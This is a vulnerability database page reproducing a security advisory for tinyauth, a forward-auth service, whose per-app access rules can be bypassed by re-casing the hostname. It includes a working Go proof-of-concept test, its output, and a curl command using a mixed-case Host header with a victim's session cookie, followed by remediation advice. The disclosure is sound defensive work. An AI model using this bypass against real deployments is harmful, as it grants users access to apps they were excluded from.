VDB
Sign up
HIGH8.1

GHSA-328g-jx67-v94g

Tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for

Quick fix

GHSA-328g-jx67-v94g — github.com/tinyauthapp/tinyauth: upgrade to the fixed version with the command below.

go get github.com/tinyauthapp/tinyauth@v1.0.1-0.20260720133915-80bc87188ec3

Details

# tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for

## GitHub Advisory Details (form fields — paste-ready)

**Affected products** | Field | Value | |-------|-------| | Ecosystem | `Other (self-hosted)` / Go | | Package name | `github.com/steveiliop56/tinyauth` (forward-auth middleware) | | Affected versions | `< 5.1.2` | | Patched versions | `5.1.2` |

**Advisory details** | Field | Value | |-------|-------| | Title | tinyauth forward-auth authorization bypass: per-app ACL host matching is case-sensitive while hostnames are case-insensitive, so a mixed-case host defeats `users`/`groups`/`ip` allowlists and fails open |

- **Status:** Runtime-confirmed (local lab, 127.0.0.1 only) - **Target:** steveiliop56/tinyauth `v5.0.7` (commit `479f1657812b7bf01438607464dedaa148155301`); root cause also present on `main` HEAD - **Component:** `internal/service/access_controls_service.go` (`lookupStaticACLs` / `GetAccessControls`), `internal/service/docker_service.go` (`GetLabels`), `internal/controller/proxy_controller.go` (`proxyHandler`) - **Class:** Broken access control / authorization bypass across the per-app trust boundary

## Summary

tinyauth is a forward-auth service: a reverse proxy (Traefik/Caddy/nginx/Envoy) calls `GET /api/auth/<proxy>` on every request and only forwards the request upstream if tinyauth returns `200`. tinyauth decides *which* per-app access rules apply by looking up the forwarded hostname (the app) in its ACL set — the static `apps:` config and/or Docker labels. Each app can restrict access with `users.allow` / `users.block`, `oauth.whitelist`, `oauth.groups` / `ldap.groups`, and `ip.allow`. These allowlists are the entire authorization model that separates one protected app from another for a shared pool of authenticated users.

The hostname → ACL lookup is performed with **case-sensitive** Go string comparisons (`config.Config.Domain == domain` and `strings.SplitN(domain, ".", 2)[0] == app`). Hostnames, however, are case-*insensitive* everywhere else in the stack: DNS, HTTP `Host`-header routing, and TLS SNI all treat `immich.example.com` and `IMMICH.example.com` as the same host, so a reverse proxy routes both to the same backend. When a request arrives with a mixed-case host, the proxy still routes it to the intended app and faithfully forwards the mixed-case value in `X-Forwarded-Host` (or `X-Original-URL` for nginx, or `Host` for Envoy), but tinyauth's case-sensitive lookup **misses** the app's ACL entry.

On a miss, tinyauth does not fail closed. `GetAccessControls` falls back to `DockerService.GetLabels`, which returns an **empty `config.App{}` with no error** whenever nothing matches (or Docker is not connected). The proxy handler then evaluates that empty App: `IsAuthEnabled` → true, `CheckIP` (no allow/block) → allowed, `IsUserAllowed` with an empty `users.allow` → `CheckFilter("", …)` → **true**, and the group check with empty required groups → **true**. The net result is that any *already-authenticated* user is authorized (`200 Authenticated`) for an app whose ACL was supposed to exclude them — simply by upper-casing (or otherwise re-casing) one letter of the hostname. This defeats the per-app `users`/`groups`/`ip` allowlist for every proxy integration.

## Affected code (v5.0.7, commit `479f1657…`)

The ACL lookup uses case-sensitive equality — `internal/service/access_controls_service.go`:

```go func (acls *AccessControlsService) lookupStaticACLs(domain string) (config.App, error) { for app, config := range acls.static { if config.Config.Domain == domain { // case-sensitive == return config, nil } if strings.SplitN(domain, ".", 2)[0] == app { // case-sensitive == return config, nil } } return config.App{}, errors.New("no results") }

func (acls *AccessControlsService) GetAccessControls(domain string) (config.App, error) { app, err := acls.lookupStaticACLs(domain) if err == nil { return app, nil } // Fallback to Docker labels return acls.docker.GetLabels(domain) } ```

The Docker-label fallback has the same case-sensitive comparisons and, critically, returns an **empty App with a nil error** when nothing matches (fail open) — `internal/service/docker_service.go`:

```go func (docker *DockerService) GetLabels(appDomain string) (config.App, error) { if !docker.isConnected { return config.App{}, nil // <-- empty App, no error } ... for _, ctr := range containers { ... for appName, appLabels := range labels.Apps { if appLabels.Config.Domain == appDomain { ... } // case-sensitive if strings.SplitN(appDomain, ".", 2)[0] == appName { ... } // case-sensitive } } return config.App{}, nil // <-- no match -> empty App, no error } ```

The forward-auth verdict is built from that (possibly empty) App, and an empty App authorizes any logged-in user — `internal/controller/proxy_controller.go` and `internal/service/auth_service.go`:

```go // proxyHandler: host comes straight from X-Forwarded-Host, no normalization acls, err := controller.acls.GetAccessControls(proxyCtx.Host) ... if userContext.IsLoggedIn { userAllowed := controller.auth.IsUserAllowed(c, userContext, acls) // empty acls -> true ... c.Header("Remote-User", utils.SanitizeHeader(userContext.Username)) c.JSON(200, gin.H{"status": 200, "message": "Authenticated"}) }

// IsUserAllowed with an empty App: func (auth *AuthService) IsUserAllowed(c *gin.Context, context config.UserContext, acls config.App) bool { if context.OAuth { return utils.CheckFilter(acls.OAuth.Whitelist, context.Email) // CheckFilter("", …) == true } if acls.Users.Block != "" { ... } // "" -> skipped return utils.CheckFilter(acls.Users.Allow, context.Username) // CheckFilter("", …) == true } ```

`utils.CheckFilter` returns `true` for an empty filter, so an empty `users.allow` means "everyone is allowed":

```go func CheckFilter(filter string, str string) bool { if len(strings.TrimSpace(filter)) == 0 { return true // empty allowlist -> allow all } ... } ```

The forwarded host is used verbatim: `getForwardAuthContext` reads `x-forwarded-host`, `getAuthRequestContext` parses `x-original-url`, `getExtAuthzContext` uses `c.Request.Host` — none of them lower-cases or canonicalizes the host before it reaches `GetAccessControls`.

## Attacker model / precondition

The attacker is a **legitimately authenticated but low-privileged** user of the tinyauth instance — they hold a valid session (or valid credentials) for their own account, exactly the normal state of any user in a multi-app SSO deployment. They are simply *not* on the `users.allow` / group / IP allowlist of some other app protected by the same tinyauth. tinyauth does not offer self-registration, so a valid account is required; this is an authorization (not authentication) bypass, hence PR:L. An unauthenticated visitor is still redirected to the login page.

Trigger: send the request to the protected app with a hostname that routes identically but differs as a byte string from the configured ACL key — the simplest being a case change (`IMMICH.example.com` for `immich.example.com`). Reverse proxies match `Host` rules case-insensitively (RFC 3986 §3.2.2 / RFC 4343), so the request is still routed to the intended backend, and the proxy forwards the mixed-case host to tinyauth in `X-Forwarded-Host` / `X-Original-URL` / `Host`. Equivalent host encodings that route the same but bypass the string compare include a trailing FQDN dot (`immich.example.com.`) and, for by-domain rules, an added port. The bypass applies to all four proxy integrations (Traefik/Caddy → `X-Forwarded-Host`; nginx → `X-Original-URL`; Envoy → `Host`).

What bounds severity: the attacker must already have a valid account, and the concrete confidentiality/integrity impact depends on the specific app that becomes reachable. Because the whole purpose of putting an app behind a per-app allowlist is to protect sensitive functionality, reaching it generically yields read and write access to that app's data (C:H/I:H). The bypass affects authorization only; global gates that are configured tinyauth-wide (e.g. a global `oauth.whitelist` used at login) are not affected because they run at login, not per-app.

## Impact

Any authenticated user can reach any app protected on the same tinyauth instance whose access is restricted by `users.allow` / `users.block`, `oauth.groups`, `ldap.groups`, or (for authenticated users) `oauth.whitelist` — none of which are enforced once the ACL lookup misses on a mixed-case host. Concretely, a user restricted to a handful of apps can obtain full authenticated access to an admin-only or team-only app (its data and actions) hosted behind the same tinyauth, defeating the per-app trust boundary that is the product's core authorization feature. tinyauth even emits the spoofed identity to the upstream via the `Remote-User` / `Remote-Email` headers, so downstream apps that trust those headers treat the attacker as a legitimately-authorized user of that app.

## Proof of Concept (complete — runs on 127.0.0.1 only)

Lab-only. This is a single self-contained Go test dropped into the tinyauth source tree. It builds the **real** `ProxyController`, `AccessControlsService`, and `AuthService` (the same wiring the project's own `proxy_controller_test.go` uses), configures one app `immich` restricted to user `admin`, and drives the real forward-auth endpoint as a logged-in non-admin user `bob`. It proves: (1) with the exact-case host, bob is correctly blocked (`403`); (2) with an upper-cased host, the ACL lookup misses, tinyauth fails open to an empty App, and bob is authorized (`200`) with `Remote-User: bob` — a cross-app authorization bypass.

Reproduce against the exact vulnerable tag:

```console git clone --depth 1 --branch v5.0.7 https://github.com/steveiliop56/tinyauth cd tinyauth # The repo embeds the built frontend at internal/assets/dist via //go:embed. # For a backend-only PoC, create a one-file stub so the embed compiles: mkdir -p internal/assets/dist printf '<!doctype html><title>stub</title>' > internal/assets/dist/index.html # Write the test file shown below to internal/controller/zzz_poc_test.go, then: go test ./internal/controller/ -run TestForwardAuthHostCaseACLBypass -v ```

`internal/controller/zzz_poc_test.go`:

```go package controller_test

import ( "net/http/httptest" "path" "testing"

"github.com/gin-gonic/gin" "github.com/steveiliop56/tinyauth/internal/bootstrap" "github.com/steveiliop56/tinyauth/internal/config" "github.com/steveiliop56/tinyauth/internal/controller" "github.com/steveiliop56/tinyauth/internal/repository" "github.com/steveiliop56/tinyauth/internal/service" "github.com/steveiliop56/tinyauth/internal/utils/tlog" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" )

// TestForwardAuthHostCaseACLBypass demonstrates that the per-app ACL is matched // against the forwarded host with a case-SENSITIVE string comparison, while // reverse proxies route hosts case-INSENSITIVELY. A logged-in user who is NOT in // an app's users.allow list can reach the app anyway by varying the case of the // hostname: the ACL lookup misses, tinyauth falls back to an EMPTY App (fail // open), and the forward-auth verdict becomes 200 "Authenticated". func TestForwardAuthHostCaseACLBypass(t *testing.T) { tlog.NewTestLogger().Init() tempDir := t.TempDir()

// Force the docker label provider offline so an ACL miss deterministically // yields the empty App() default (this is exactly what happens on any // deployment whose ACLs live in the static `apps:` config, or whose docker // socket holds no container matching the mixed-case host). t.Setenv("DOCKER_HOST", "unix:///nonexistent/docker.sock")

authServiceCfg := service.AuthServiceConfig{ Users: []config.User{ { Username: "admin", Password: "$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa", // password }, { Username: "bob", Password: "$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa", // password }, }, SessionExpiry: 10, CookieDomain: "example.com", LoginTimeout: 10, LoginMaxRetries: 3, SessionCookieName: "tinyauth-session", }

controllerCfg := controller.ProxyControllerConfig{ AppURL: "https://tinyauth.example.com", }

// The admin restricts the "immich" app to user "admin" only. acls := map[string]config.App{ "immich": { Config: config.AppConfig{ Domain: "immich.example.com", }, Users: config.AppUsers{ Allow: "admin", }, }, }

// bob is a legitimately-authenticated low-privileged user. He is NOT in // immich's users.allow list. bobCtx := func(c *gin.Context) { c.Set("context", &config.UserContext{ Username: "bob", Name: "Bob", Email: "bob@example.com", IsLoggedIn: true, Provider: "local", }) c.Next() }

// Shared services (mirrors the project's own proxy_controller_test.go). app := bootstrap.NewBootstrapApp(config.Config{}) db, err := app.SetupDatabase(path.Join(tempDir, "tinyauth.db")) require.NoError(t, err) defer func() { _ = db.Close() }()

queries := repository.New(db)

docker := service.NewDockerService() require.NoError(t, docker.Init())

ldap := service.NewLdapService(service.LdapServiceConfig{}) require.NoError(t, ldap.Init())

broker := service.NewOAuthBrokerService(make(map[string]config.OAuthServiceConfig)) require.NoError(t, broker.Init())

authService := service.NewAuthService(authServiceCfg, docker, ldap, queries, broker) require.NoError(t, authService.Init())

aclsService := service.NewAccessControlsService(docker, acls)

newRouter := func() *gin.Engine { gin.SetMode(gin.TestMode) router := gin.New() router.Use(bobCtx) group := router.Group("/api") pc := controller.NewProxyController(controllerCfg, group, aclsService, authService) pc.SetupRoutes() return router }

forwardAuth := func(host string) *httptest.ResponseRecorder { rec := httptest.NewRecorder() req := httptest.NewRequest("GET", "/api/auth/traefik", nil) req.Header.Set("x-forwarded-host", host) req.Header.Set("x-forwarded-proto", "https") req.Header.Set("x-forwarded-uri", "/") newRouter().ServeHTTP(rec, req) return rec }

// 1. Control: exact-case host -> ACL is found, bob is NOT in users.allow -> 403. lower := forwardAuth("immich.example.com") t.Logf("[control] x-forwarded-host=immich.example.com -> %d remote-user=%q", lower.Code, lower.Header().Get("Remote-User")) assert.Equal(t, 403, lower.Code, "boundary must block bob at the exact-case host")

// 2. Bypass: upper-case host -> ACL lookup misses (case-sensitive ==), // empty App fail-open -> 200 Authenticated + Remote-User leaks bob. upper := forwardAuth("IMMICH.example.com") t.Logf("[BYPASS] x-forwarded-host=IMMICH.example.com -> %d remote-user=%q", upper.Code, upper.Header().Get("Remote-User"))

require.Equalf(t, 200, upper.Code, "expected the mixed-case host to bypass the users.allow ACL") require.Equalf(t, "bob", upper.Header().Get("Remote-User"), "tinyauth authorized bob for immich across the ACL boundary") } ```

Observed output (v5.0.7; trimmed to the two decisive log lines):

```text === RUN TestForwardAuthHostCaseACLBypass ... access_controls_service.go: Found matching container by domain name=immich ... proxy_controller.go: User not allowed to access resource resource=immich user=bob zzz_poc_test.go: [control] x-forwarded-host=immich.example.com -> 403 remote-user="" ... access_controls_service.go: Falling back to Docker labels for ACLs ... docker_service.go: Docker not connected, returning empty labels zzz_poc_test.go: [BYPASS] x-forwarded-host=IMMICH.example.com -> 200 remote-user="bob" --- PASS: TestForwardAuthHostCaseACLBypass (0.06s) PASS ok github.com/steveiliop56/tinyauth/internal/controller 0.067s ```

The control request (`immich.example.com`) finds the ACL and correctly returns `403` for bob; the identical request with an upper-cased host (`IMMICH.example.com`) misses the ACL, falls back to the empty App, and returns `200 Authenticated` with `Remote-User: bob`. In a live deployment the identical effect is reached over HTTP by requesting the protected app with a mixed-case `Host` header, e.g. `curl -H 'Host: IMMICH.example.com' https://<proxy>/` with bob's session cookie — the proxy routes it to immich and forwards the mixed-case host to tinyauth, which authorizes bob.

## Remediation

- **Canonicalize the host before the ACL decision.** Lower-case (and strip any trailing dot / port from) the forwarded host in `getForwardAuthContext` / `getAuthRequestContext` / `getExtAuthzContext`, and store both the ACL `apps` keys and each `config.domain` / label domain lower-cased, so the lookup is case-insensitive. Equivalently, compare with `strings.EqualFold`. This closes the case, trailing-dot, and port-variant encodings in one place. - **Fail closed on an ACL miss.** `GetAccessControls` / `GetLabels` should distinguish "no ACL configured for this host" from "empty ACL that allows everyone." When no app matches the requested host, the forward-auth handler should not authorize a user by defaulting to an empty allow-all `App`; it should apply a deny-by-default (or an explicit, documented default policy) rather than returning `config.App{}, nil`. Returning an all-empty `App` as the fallback is the fail-open that turns the lookup miss into an authorization bypass. - Add a regression test asserting that a user excluded by `users.allow` is still `403` when the same host is supplied in mixed case, with a trailing dot, and with an added port.

Please credit 5ud0 / Tarmo Technologies.

Are you affected?

Enter the version of the package you're using.

Affected packages

Go/github.com/tinyauthapp/tinyauth
Introduced in: 0Fixed in: 1.0.1-0.20260720133915-80bc87188ec3
Fixgo get github.com/tinyauthapp/tinyauth@v1.0.1-0.20260720133915-80bc87188ec3

References